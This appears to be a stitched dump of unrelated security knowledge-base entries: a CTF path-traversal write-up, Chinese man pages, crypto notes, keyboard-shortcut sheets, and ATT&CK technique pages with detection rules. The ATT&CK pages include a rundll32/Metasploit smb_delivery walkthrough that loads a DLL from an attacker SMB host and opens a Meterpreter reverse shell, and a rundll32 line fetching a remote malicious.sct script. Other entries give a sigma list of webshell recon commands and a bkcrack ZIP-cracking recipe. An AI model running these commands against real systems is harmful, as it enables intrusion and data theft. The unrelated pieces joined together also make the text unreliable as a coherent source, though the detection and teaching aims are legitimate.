root@kali:/media/sf_CTFs/appsec/Log_Me_Policy# curl -s -v -I --path-as-is https://logmepolicy.appsecil.ctf.today/documentation/../app.js 2>&1 | grep ">"
> HEAD /documentation/../app.js HTTP/1.1
> Host: logmepolicy.appsecil.ctf.today
> User-Agent: curl/7.64.0
> Accept: */*
```
Now the full path that we've supplied is being sent, but we still don't get any useful response:
```console
root@kali:/media/sf_CTFs/appsec/Log_Me_Policy# curl --path-as-is https://logmepolicy.appsecil.ctf.today/documentation/../app.js
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /documentation/../app.js</pre>
</body>
</html>
```
Encoding the '`/`' as '`%2f`' does the trick:
```console
root@kali:/media/sf_CTFs/appsec/Log_Me_Policy# curl https://logmepolicy.appsecil.ctf.today/documentation/..%2fapp.js
const fs = require('fs');
const path = require('path');
const express = require("express");
const app = express();
// set the view engine to ejs
app.set('view engine', 'ejs');
app.use(express.static(path.join(__dirname, 'public')));
app.use((req, res, next) => {
res.removeHeader("X-Powered-By");
res.append('Server', 'AppSec-IL/20.20');
res.append('Access-Control-Allow-Origin', ['*']);
res.append('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE');
res.append('Access-Control-Allow-Headers', 'Content-Type');
next();
});
app.get("/", (req, res, next) => {
res.redirect('/relam/splogin')
});
app.get("/relam/splogin", (req, res, next) => {
res.render("login", {error: ""});
});
app.post("/relam/splogin", (req, res, next) => {
res.render("login", {error: 'Username or password is incorrect.'});
});
/***
* @TBD: our engineering team told us to check out this method, let's test it next sprint
* AppSec-IL{d0_n0T_t4UST_uS34_iNp7t}
*/
app.get("/documentation/:file", (req, res, next) => {
let buffer = "";
const filePath = path.join(__dirname, "documentation", req.params.file);
try {
buffer = fs.readFileSync(filePath);
} catch (error) {
buffer = error.stack.toString();
}
res.type('application/octet-stream');
res.send(buffer.toString());
});
app.listen(8081, () => {
console.log("Server running on port 8081");
});
```
This confirms our suspicion that the path traversal bug exists only under `/documentation/`.
The flag: `AppSec-IL{d0_n0T_t4UST_uS34_iNp7t}`
|
sec-knowleage
|
.TH PanedWindow 3tk "tcllib - BWidget"
.SH NAME
.B PanedWindow - 平铺布局管理器组件
.SH 创建 CREATION
.B PanedWindow pathName ?option value...?
.SH 描述 DESCRIPTION
PanedWindow 是在垂直或水平平铺格局下排布子窗体的一个组件。用户可以调整窗格(pane)的大小,带有在子窗口之间的一个窗格控制窗框(sash)。
.SH 组件特有选项 WIDGET-SPECIFIC OPTIONS
.TP
-pad (只读)
指定在窗框的按钮和子窗口之间的额外的空间。
.TP
-side (只读)
指定窗框在那边,这暗示着布局: top 或 bottom (水平格局), left 或 right (垂直格局)。
.TP
-width (只读)
指定窗框的按钮的宽度。
.SH 组件命令
.TP
pathName add ?option value...?
这个命令增加一个新窗格。对于垂直的布局新窗格被放置到以前的窗格的下面,对于水平布局是右面。这个命令返回用户可以放置它的组件的一个框架。有效的选项有:
-minsize
指定对这个窗格要求的最小大小。详情参见 grid 命令。
-weight
为在窗格之间分配额外空间指定相对权重(weight)。详情参见 grid 命令。
.TP
pathName cget option
返回用 option 给出的配置选项的当前值。Option 可以是能被建立命令接受的任何值。
.TP
pathName configure ?option? ?value option value ...?
查询或修改这个组件的配置选项。如果未指定 option ,则返回描述 pathName 的所有可获得的选项的一个列表。如果指定了不带 value 的 option,则这个命令返回描述这个指名的 option 的一个列表(这个列表与未指定 option 所返回的值的相应的子集是一样的)。如果指定了一个或多个选项-值 对,则这个命令把给定的组件选项修改为给定的值;在这种情况下这个命令返回一个空串。Option 可以是能被建立命令接受的任何值。只读选项不可修改。
.TP
pathName getframe index
返回第 index 次增加的窗格的路径名。
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2001/05/09
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
### 流密码概述
流密码一般逐字节或者逐比特处理信息。一般来说
- 流密码的密钥长度会与明文的长度相同。
- 流密码的密钥派生自一个较短的密钥,派生算法通常为一个伪随机数生成算法。
需要注意的是,流加密目前来说都是对称加密。
伪随机数生成算法生成的序列的随机性越强,明文中的统计特征被覆盖的更好。
流密码加解密非常简单,在已知明文的情况下,可以非常容易地获取密钥流。
流密码的关键在于设计好的伪随机数生成器。一般来说,伪随机数生成器的基本构造模块为反馈移位寄存器。当然,也有一些特殊设计的流密码,比如 RC4。
|
sec-knowleage
|
.\" Copyright (c) 1989, 1990 The Regents of the University of California.
.\" All rights reserved.
.\"
.\" Redistribution and use in source and binary forms, with or without
.\" modification, are permitted provided that the following conditions
.\" are met:
.\" 1. Redistributions of source code must retain the above copyright
.\" notice, this list of conditions and the following disclaimer.
.\" 2. Redistributions in binary form must reproduce the above copyright
.\" notice, this list of conditions and the following disclaimer in the
.\" documentation and/or other materials provided with the distribution.
.\" 3. All advertising materials mentioning features or use of this software
.\" must display the following acknowledgement:
.\" This product includes software developed by the University of
.\" California, Berkeley and its contributors.
.\" 4. Neither the name of the University nor the names of its contributors
.\" may be used to endorse or promote products derived from this software
.\" without specific prior written permission.
.\"
.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
.\" SUCH DAMAGE.
.\"
.\" from: @(#)finger.1 6.14 (Berkeley) 7/27/91
.\"
.Dd August 15, 1999
.Dt FINGER 1
.Os "Linux NetKit (0.16)"
.Sh NAME
.Nm finger
.Nd 用户信息查找程序
.Sh 总览
.Nm finger
.Op Fl lmsp
.Op Ar user ...
.Op Ar user@host ...
.Sh 描述
The
.Nm finger
显示关于系统用户的信息
.Pp
参数:
.Bl -tag -width flag
.It Fl s
.Nm Finger
显示用户的登录名, 真名, 终端名 以及写
状态(如果写被禁止,在终端名后显示一个``*''),
空闲时间,登录时间,办公地点和电话等。
.Pp
登录时间显示为月,天,小时和分钟,如果是超过6个月以前,则
显示年份,而不是小时和分钟。
.Pp
不明设备以及不存在的空闲时间和登录时间显示为一个星号。
.Pp
.It Fl l
产生一个多行显示来描述信息
.Fl s
关于用户家目录,家庭电话,登录脚本,邮件状态和文件的内容
.Dq Pa .plan
和
.Dq Pa .project
和
.Dq Pa .forward
从用户的家目录.
.Pp
11位数字电话号码显示为 ``+N-NNN-NNN-NNNN''.
十位或七位数字可以显示为它的子集。
五位数字电话号码显示为 ``xN-NNNN''.
四位数字电话号码显示为 ``xNNNN''.
.Pp
如果对设备写被禁止, 短语 ``(messages off)''
被附加在有此设备的行后边.
每一个用户有一个条目,用
.Fl l
选项; 如果一个用户多次登录, 终端信息
按每次登录重复显示。.
.Pp
如果什么邮件都没有,邮件信息显示为``No Mail.'', 如果当新邮件来后,
已经查看过信箱,为``Mail last read DDD MMM ## HH:MM YYYY (TZ)''
如果有新邮件,则为 ``New mail received ...'',`` Unread since ...''
.Pp
.It Fl p
防止
.Nm finger
.Fl l
选项
显示
.Dq Pa .plan
和
.Dq Pa .project
文件的内容。
.It Fl m
防止
.Ar user
名字的匹配.
.Ar User
通常是一个登录名; 可是, 也会对用户的真实名字
进行匹配, 除非提供
.Fl m
选项.
所有由
.Nm finger
进行的名字匹配是区分大小写的
.El
.Pp
不指定
.Nm finger
的选项
如果提供操作者的话,
缺省设为
.Fl l
输出风格,否则为
.Fl s
风格.
注意在两种格式中,如果信息不足,
都有一些域可能丢失,
.Pp
如果没有指定参数
.Nm finger
会为当前登录的每个用户打印一个条目.
.Pp
.Nm Finger
可以用来查看远地机器上的用户信息
格式是指定
.Ar user
为
.Dq Li user@host ,
或
.Dq Li @host ,
前者的缺省输出为
.Fl l
风格, 后者的缺省输出为
.Fl s
风格.
.Fl l
是唯一的向远地机器传递的选项.
.Pp
如果标准输出是一个socket
.Nm finger
会在每个换行符前插入回车符。这是为了处理由以下调用的远程finger请求
.Xr fingerd 8 .
.Sh 参见
.Xr chfn 1 ,
.Xr passwd 1 ,
.Xr w 1 ,
.Xr who 1
.Sh 历史
.Nm finger
命令出现在
.Bx 3.0
.Sh "[中文版维护人]"
hunter77 <tzb@kali.com.cn>
.Sh "[中文版最新更新]"
2001/04/01
.Sh "《中国linux论坛man手册页翻译计划》:"
http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1588-005-获取能力-漏洞利用
## 来自ATT&CK的描述
攻击者可能会购买、窃取或下载可在攻击目标过程中使用的漏洞。利用了一个错误或漏洞,以使计算机硬件或软件发生非预期或意料之外的行为。与其开发自己的漏洞,攻击者可能从网上找到或修改漏洞,或从漏洞供应商那里购买漏洞。
除了从互联网上下载免费的漏洞外,攻击者还可能从第三方实体购买漏洞。第三方实体可以包括专门从事漏洞开发的技术公司、犯罪市场(包括漏洞工具包)或个人。除了购买漏洞,攻击者还可能从第三方实体(包括其他攻击者)窃取和重新利用漏洞。
攻击者可能会监控漏洞提供者的论坛,以了解现有的以及新发现的漏洞状态。在发现漏洞和公开漏洞之间通常会有延迟。攻击者可能以那些已知存在漏洞的开发的系统为目标,以便获得信息,在后续行动中使用。
攻击可者能在攻击生命周期的各个阶段使用漏洞(即利用面向公众的应用程序、利用客户端执行、利用特权升级、利用防御规避、利用凭证访问、利用远程服务、以及应用或系统漏洞)。
## 测试案例
暂无
## 检测日志
无法有效监测
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
无
## 建议
### 缓解措施
这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。
### 检测
这种活动大多发生在目标组织的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在与使用漏洞有关的行为上(即利用面向公众的应用程序、利用客户端执行、利用特权升级、利用防御规避、利用凭证访问、利用远程服务、以及应用或系统漏洞)。
## 参考推荐
MITRE-ATT&CK-T1588-005
<https://attack.mitre.org/techniques/T1588/005/>
|
sec-knowleage
|
# T1218-011-win-基于白名单Rundll32.exe执行payload
## 来自ATT&CK的描述
Rundll32.exe程序可以调用来执行任意二进制文件。攻击者可能会利用此功能来代理执行代码,从而避免触发那些可能不会监控rundll32.exe进程执行的安全工具,因为正常操作中使用rundll32.exe的Windows会有白名单或误报。
Rundll32.exe可用于通过未记录的shell32.dll函数Control_RunDLL和 Control_RunDLLAsUser来执行控制面板项目文件(.cpl)。双击.cpl文件也会触发rundll32.exe执行。
Rundll32也可用于执行JavaScript等脚本。可以使用类似于下面的语法来完成:rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" 。这种方法已被恶意软件如Poweliks所使用。
## 测试案例
Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。
说明:Rundll32.exe所在路径已被系统添加PATH环境变量中,因此,Wmic命令可识别,需注意x86,x64位的Rundll32调用。
windows 2003默认位置:
```bash
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
```
win7默认位置:
```bash
C:\Windows\System32\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
```
补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。
## 检测日志
windows 安全日志(需要自行配置)
## 测试复现
### 环境准备
攻击机:Kali2019
靶机:win7(sysmon日志)
### 攻击分析
#### 配置MSF
```bash
msf5 > use exploit/windows/smb/smb_delivery
msf5 exploit(windows/smb/smb_delivery) > set srvhost 192.168.126.146
srvhost => 192.168.126.146
msf5 exploit(windows/smb/smb_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.126.146:4444
[*] Started service listener on 192.168.126.146:445
[*] Server started.
[*] Run the following command on the target machine:
rundll32.exe \\192.168.126.146\huwSj\test.dll,0
```
#### 靶机执行payload
```cmd
rundll32.exe \\192.168.126.146\huwSj\test.dll,0
```
#### 反弹shell
```bash
msf5 exploit(windows/smb/smb_delivery) > [*] Sending stage (180291 bytes) to 192.168.126.149
[*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.149:49381) at 2020-04-17 15:24:05 +0800
msf5 exploit(windows/smb/smb_delivery) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/windows 12306Br0-PC\12306Br0 @ 12306BR0-PC 192.168.126.146:4444 -> 192.168.126.149:49381 (192.168.126.149)
msf5 exploit(windows/smb/smb_delivery) > sessions 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: 12306Br0-PC\12306Br0
```
## 测试留痕
sysmon日志记录
```log
EVentID: 1
Image: C:\Windows\SysWOW64\rundll32.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: Windows host process (Rundll32)
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: RUNDLL32.EXE
CommandLine: rundll32.exe \\192.168.126.146\huwSj\test.dll,0
```
win7安全日志记录
```log
EVentID: 4688
进程信息:
新进程 ID: 0xa30
新进程名: C:\Windows\SysWOW64\rundll32.exe
EVentID: 5158
应用程序信息:
进程 ID: 2608
应用程序名称: \device\harddiskvolume2\windows\syswow64\rundll32.exe
EVentID: 5156 #Windows 筛选平台已允许连接。
应用程序信息:
进程 ID:2608
应用程序名称: \device\harddiskvolume2\windows\syswow64\rundll32.exe
网络信息:
方向: 出站
源地址: 192.168.126.149
源端口: 49381
目标地址: 192.168.126.146
目标端口: 4444
```
## 检测规则/思路
### sigma
```yml
title: Suspicious Call by Ordinal
id: e79a9e79-eb72-4e78-a628-0e7e8f59e89c
description: Detects suspicious calls of DLLs in rundll32.dll exports by ordinal
status: experimental
references:
- https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/
- https://github.com/Neo23x0/DLLRunner
- https://twitter.com/cyb3rops/status/1186631731543236608
tags:
- attack.defense_evasion
- attack.execution
- attack.t1085
author: Florian Roth
date: 2019/10/22
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine: '*\rundll32.exe *,#*'
condition: selection
falsepositives:
- False positives depend on scripts and administrative tools used in the monitored environment
- Windows contol panel elements have been identified as source (mmc)
level: high
```
### 建议
通过进程监控来检测和分析rundll32.exe的执行和参数。比较rundll32.exe的近期调用与历史已知合法参数及已加载动态链接库来确定是否有异常和潜在的攻击活动。在rundll32.exe调用之前和之后使用的命令参数也可用于确定正在加载的动态链接库的来源和目的。
## 参考推荐
MITRE-ATT&CK-T1218-011
<https://attack.mitre.org/techniques/T1218/011/>
windows下基于白名单获取shell的方法整理(上)
<http://www.safe6.cn/article/155>
|
sec-knowleage
|
### Exiftool简介:
ExifTool可读写及处理图像、视频及音频,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括许多相机的制造商信息读取,如佳能,卡西欧,大疆,FLIR,三星等。
同样它支持多国语言

```bash
root@John:tmp# exiftool ‐lang zh‐cn ‐a ‐u ‐g1 ./55e736d12f2eb9385716e513d8628535e4dd6fdc.jpg
‐‐‐‐ ExifTool ‐‐‐‐
ExifTool 版本 : 11.16
‐‐‐‐ System ‐‐‐‐
文件名 : 55e736d12f2eb9385716e513d8628535e4dd6fdc.jpg
文件存储位置 : .
文件大小 : 84 kB
更新日期 : 2019:01:20 20:07:57‐05:00
File Access Date/Time : 2019:01:21 08:00:14‐05:00
File Inode Change Date/Time : 2019:01:21 07:59:58‐05:00
File Permissions : rw‐r‐‐r‐‐
‐‐‐‐ File ‐‐‐‐
文件格式 : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
像宽 : 580
像高 : 773
Encoding Process : Baseline DCT, Huffman coding
每个组件的比特数 : 8
Color Components : 3
YCC 像素结构(Y 至 C 的子采样率) : YCbCr4:2:0 (2 2)
‐‐‐‐ JFIF ‐‐‐‐
JFIF 版本 : 1.01
图像高宽分辨率单位 : 英寸
X Resolution : 1
Y Resolution : 1
‐‐‐‐ Composite ‐‐‐‐
图像尺寸 : 580x773
Megapixels : 0.448 30
```

在大型内网渗透中,尤其是针对办公机的渗透,需要熟知目标集体或者个人的作息时间,工作时间,文档时间,咖啡时间,或者需要从某些文件中获取对方的真实拍摄地坐标等。那么无疑需要快速的从大量文件中筛选信息诉求。当目标越复杂,文件中的信息搜集就更为重要。如文档作者,技术文章作者,财务文档作者等,熟知在大量人员,获取对方职务,大大减少渗透过程中的无用性,重复性,可见性。与暴露性。而作为公司,应该熟悉相关文档的内置属性,尤其是在共享文件服务器上,删除或者复写敏感信息来降低企业安全风险。本篇意旨企业安全在处理本公司相关敏感文件以及重要文件应做好更多的防范,尤其是重要部门,如研发,财务等。
> Micropoor
|
sec-knowleage
|
### RSA 侧信道攻击概述
能量分析攻击(侧信道攻击)是一种能够从密码设备中获取秘密信息的密码攻击方法.与其
他攻击方法不同:这种攻击利用的是密码设备的能量消耗特征,而非密码算法的数学特性.能量分析攻击是一种非入侵式攻击,攻击者可以方便地购买实施攻击所需要的设备:所以这种攻击对智能卡之类的密码设备的安全性造成了严重威胁。
能量分析攻击是安全领域内非常重要的一个部分,我们只在这里简单讨论下。
能量分析攻击分为:
- 简单能量分析攻击(SPA),即对能量迹进行直观分析,肉眼看即可。
- 差分能量分析攻击(DPA),基于能量迹之间的相关系数进行分析。
### RSA 侧信道攻击条件
攻击者可获取与加解密相关的侧信道信息,例如能量消耗、运算时间、电磁辐射等等。
|
sec-knowleage
|
## 硬件入侵工具
|Hardware Hacking||||||
|:-:|:-:|:-:|:-:|:-:|:-:|
|[Android SDK](Android%20SDK.md)|[ApkTool](ApkTool.md)|[Arduino](Arduino.md)|[dex2jar](dex2jar.md)|[Sakis 3G](Sakis%203G.md)|[Smali](Smali.md)|
|
sec-knowleage
|
# VoIP (forensics 100)
###ENG
[PL](#pl-version)
In the task we get a [pcap](voip.pcap) of a VoIP call.
There was not much to do here since Wireshark can out-of-the-box decode this for us:
[!](ws.png)
And the flag is `SECCON{9001IVR}`
###PL version
W zadaniu dostajemy [pcapa](voip.pcap) z rozmowy przez VoIP.
Nie było tu zbyt wiele do roboty bo wireshark potrafi to od razu zdekodować:
[!](ws.png)
A flaga to `SECCON{9001IVR}`
|
sec-knowleage
|
---
title: Unity 3D
date: 2022-11-23 16:23:31.692703
background: bg-[#7c7c7c]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 50 keyboard shortcuts found in Unity 3D
---
Keyboard Shortcuts
------------------
### Tools
Shortcut | Action
---|---
`Q` | Pan
`W` | Move
`E` | Rotate
`R` | Scale
`T` | Rect tool
`Z` | Pivot mode toggle
`X` | Pivot rotation toggle
`V` | Vertex snap
`Ctrl` `(left click)` | Snap
{.shortcuts}
### GameObject
Shortcut | Action
---|---
`Ctrl` `Shift` `N` | New empty game object
`Alt` `Shift` `N` | New empty child to selected game object
`Ctrl` `Alt` `F` | Move to view
`Ctrl` `Shift` `F` | Align with view
`Shift` `F` | Locks the scene view camera to the selected GameObject
{.shortcuts}
### Window
Shortcut | Action
---|---
`Ctrl` `1` | Scene
`Ctrl` `2` | Game
`Ctrl` `3` | Inspector
`Ctrl` `4` | Hierarchy
`Ctrl` `5` | Project
`Ctrl` `6` | Animation
`Ctrl` `7` | Profiler
`Ctrl` `9` | Asset store
`Ctrl` `0` | Version control
`Ctrl` `Shift` `C` | Console
{.shortcuts}
### Edit {.row-span-2}
Shortcut | Action
---|---
`Ctrl` `Z` | Undo
`Ctrl` `Shift` `Z` | Redo (MacOS)
`Ctrl` `Y` | Redo (Windows)
`Ctrl` `X` | Cut
`Ctrl` `C` | Copy
`Ctrl` `V` | Paste
`Ctrl` `D` | Duplicate
`Shift` `Del` | Delete
`F` | Frame center selection
`Ctrl` `F` | Find
`Ctrl` `A` | Select all
`Ctrl` `P` | Play
`Ctrl` `Shift` `P` | Pause
`Ctrl` `Alt` `P` | Step
{.shortcuts}
### Selection
Shortcut | Action
---|---
`Ctrl` `Shift` `1-9` | Load selection 1-9
`Ctrl` `Alt` `1-9` | Save selection 1-9
{.shortcuts}
### Assets
Shortcut | Action
---|---
`Ctrl` `R` | Refresh
{.shortcuts}
### Animation
Shortcut | Action
---|---
`Shift` `,` | First keyframe
`Shift` `K` | Key modified
`K` | Key selected
`Shift` `.` | Last keyframe
`.` | Next frame
`Alt` `.` | Next keyframe
`Space` | Play animation
`,` | Previous frame
`Alt` `,` | Previous keyframe
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Unity 3D](https://docs.unity3d.com/2018.1/Documentation/Manual/UnityHotkeys.html) _(docs.unity3d.com)_
|
sec-knowleage
|
# T1505-003-windows下webshell检测
## 来自ATT&CK的描述
攻击者可能会通过Web Shell为web服务器创建后门,以便实现对系统的持久访问。Web Shell是攻击者放置在可公开访问的web服务器上的web脚本,以便通过web服务器进入网络。Web Shell可以提供一套待执行的函数,或是为web服务器所在系统提供命令行界面。
除服务器端脚本之外,Web Shell可能还有客户端接口程序,用于与web服务器通信,例如:[China Chopper](https://attack.mitre.org/software/S0020)(引自:Lee 2013)
## webshell简介
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
## 测试案例
暂无
## 检测日志
windows、sysmon日志、以及其他可记录进程、命令行参数的EDR产品
## 测试复现
暂无
## 测试留痕
```yml
- <Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
- <System>
<Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-A5BA-3E3B0328C30D}" />
<EventID>4688</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>13312</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2015-11-12T02:24:52.377352500Z" />
<EventRecordID>2814</EventRecordID>
<Correlation />
<Execution ProcessID="4" ThreadID="400" />
<Channel>Security</Channel>
<Computer>WIN-GG82ULGC9GO.contoso.local</Computer>
<Security />
</System>
- <EventData>
<Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">WIN-GG82ULGC9GO$</Data>
<Data Name="SubjectDomainName">CONTOSO</Data>
<Data Name="SubjectLogonId">0x3e7</Data>
<Data Name="NewProcessId">0x2bc</Data>
<Data Name="NewProcessName">C:\\Windows\\System32\\rundll32.exe</Data>
<Data Name="TokenElevationType">%%1938</Data>
<Data Name="ProcessId">0xe74</Data>
<Data Name="CommandLine" />
<Data Name="TargetUserSid">S-1-5-21-1377283216-344919071-3415362939-1104</Data>
<Data Name="TargetUserName">dadmin</Data>
<Data Name="TargetDomainName">CONTOSO</Data>
<Data Name="TargetLogonId">0x4a5af0</Data>
<Data Name="ParentProcessName">C:\\Windows\\explorer.exe</Data>
<Data Name="MandatoryLabel">S-1-16-8192</Data>
</EventData>
</Event>
```
## 检测规则/思路
### sigma规则
```yml
title: 通过常见的命令行参数检测webshell行为
description: 通过web shell侦察活动中经常使用的某些命令行参数来检测边界web服务器是否存在webshell
references:
- https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-ii.html
- https://unit42.paloaltonetworks.com/bumblebee-webshell-xhunt-campaign/
tags:
- attack.persistence
- attack.t1505.003
- attack.t1018
- attack.t1033
- attack.t1087
- attack.privilege_escalation # an old one
- attack.t1100 # an old one
logsource:
category: process_creation #进程创建
product: windows #windows数据源
detection:
selection:
ParentImage:
- '*\apache*'
- '*\tomcat*'
- '*\w3wp.exe'
- '*\php-cgi.exe'
- '*\nginx.exe'
- '*\httpd.exe'
CommandLine:
- '*whoami*'
- '*net user *'
- '*net use *'
- '*net group *'
- '*quser*'
- '*ping -n *'
- '*systeminfo'
- '*&cd&echo*'
- '*cd /d*' # https://www.computerhope.com/cdhlp.htm
- '*ipconfig*'
- '*pathping*'
- '*tracert*'
- '*netstat*'
- '*schtasks*'
- '*vssadmin*'
- '*wevtutil*'
- '*tasklist*'
- '*wmic /node:*'
- '*Test-NetConnection*'
- '*dir \*' # remote dir: dir \<redacted IP #3>\C$:\windows\temp\*.exe
condition: selection
fields:
- CommandLine
- ParentCommandLine
falsepositives:
- unknown #有效性,未知
level: high #等级较高
```
## 备注
整体检测思路,攻击者通过webshell执行一些信息收集的命令,如ipconfig等命令。此类行为在windows日志上的表现形式为,用户调用了常见的中间件的进程,执行了某些命令。此规则检测思路便是来源于此,仅仅适用于windows平台,可自行添加常见的用于信息收集或者其他目的的命令行参数,不断完善规则。
## 参考推荐
MITRE-ATT&CK-T1505-003
<https://attack.mitre.org/techniques/T1505/003/>
|
sec-knowleage
|
---
title: KanbanMail
date: 2022-11-23 16:23:31.698423
background: bg-[#4d74e6]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 29 keyboard shortcuts found in KanbanMail
---
Keyboard Shortcuts
------------------
### Global
Shortcut | Action
---|---
`Ctrl` `\` | Toggle split view
{.shortcuts}
### Board
Shortcut | Action
---|---
`C` | Open composer
`Ctrl` `N` | New note in the to-do column
`/` | Focus the search bar
`Esc` | Clear search, if it's on
`1-5` | Select the first thread in column <number>
{.shortcuts}
### Email {.row-span-2}
Shortcut | Action
---|---
`S` | Star or unstar
`I` | Mark as important or not important
`U` | Mark as read or unread
`Shift` `P` | Pin
`R` | Reply
`A` | Reply all
`F` | Forward
`E` | Move to archived
`1-5` | Move to column <number>
`Shift` `3` | Move to trash
`P` | Go to the previous message in the thread
`N` | Go to the next message in the thread
`Shift` `U` | Unsubscribe
`Enter` | Open selected thread
`Esc` | Close thread viewer, if open
`Esc` | Clear selected threads
{.shortcuts}
### Composer
Shortcut | Action
---|---
`Ctrl` `Enter` | Send email
`Ctrl` `S` | Save as draft
`Esc` | Close composer
{.shortcuts}
### Editor
Shortcut | Action
---|---
`Ctrl` `B` | Bold
`Ctrl` `I` | Italic
`Ctrl` `U` | Underline
`Ctrl` `K` | Add hyperlink
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for KanbanMail](https://guides.kanbanmail.app/keyboard-shortcuts) _(guides.kanbanmail.app)_
|
sec-knowleage
|
### 非线性反馈移位寄存器介绍
为了使得密钥流输出的序列尽可能复杂,会使用非线性反馈移位寄存器,常见的有三种
- 非线性组合生成器,对多个 LFSR 的输出使用一个非线性组合函数
- 非线性滤波生成器,对一个 LFSR 的内容使用一个非线性组合函数
- 钟控生成器,使用一个(或多个)LFSR 的输出来控制另一个(或多个)LFSR 的时钟
|
sec-knowleage
|
# ZIP明文攻击
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**相关工具**
- archpr(Advanced Archive Password Recovery)
- [keyunluo/pkcrack](https://github.com/keyunluo/pkcrack)
- [kimci86/bkcrack](https://github.com/kimci86/bkcrack)
```bash
wget https://github.com/kimci86/bkcrack/releases/download/v1.3.1/bkcrack-1.3.1-Linux.tar.gz
tar -zxvf bkcrack-1.3.1-Linux.tar.gz
cp bkcrack-1.3.1-Linux/bkcrack /usr/sbin/bkcrack
bkcrack -h
```
---
## ZIP 的加密算法
ZIP 的加密算法大致分为两种 ZipCrypto 和 AES-256, 各自又分 Deflate 和 Store。
- ZipCrypto Deflate
- ZipCrypto Store
- AES-256 Deflate
- AES-256 Store
ZipCrypto 算是传统的 zip 加密方式。
只有使用 ZipCrypto Deflate /Store 才可以使用 ZIP 已知明文攻击进行破解。
AES256-Deflate/AES256-Store 加密的文件不适用于明文攻击。
---
## ZIP 明文攻击的条件
至少已知明文的 12 个字节及偏移,其中至少 8 字节需要连续。
明文对应的文件加密方式为 ZipCrypto Store
---
## 比较特殊的明文攻击案例
在知道目标文件部分连续明文的情况下,去爆破密钥
例如 flag.txt
```
flag{4d6ba874-881d-4c04-b7c3-5e974b81e86a
```
加密成 flag.zip 加密时注意使用 Deflate 压缩方法,ZipCrypto 加密算法
给出部分连续明文
```
flag{4d6ba874-881d-4c0
```
采用 bkcrack 进行爆破
```bash
echo "flag{4d6ba874-881d-4c0" > plain1.txt
bkcrack -C flag.zip -c flag.txt -p plain1.txt
# 爆破得到zip的密钥如下
1b10db88 4b87405b 0a41939c
```
利用密钥进行解密
```
bkcrack -C flag.zip -c flag.txt -k 1b10db88 4b87405b 0a41939c -d flag1.txt
cat flag1.txt
```
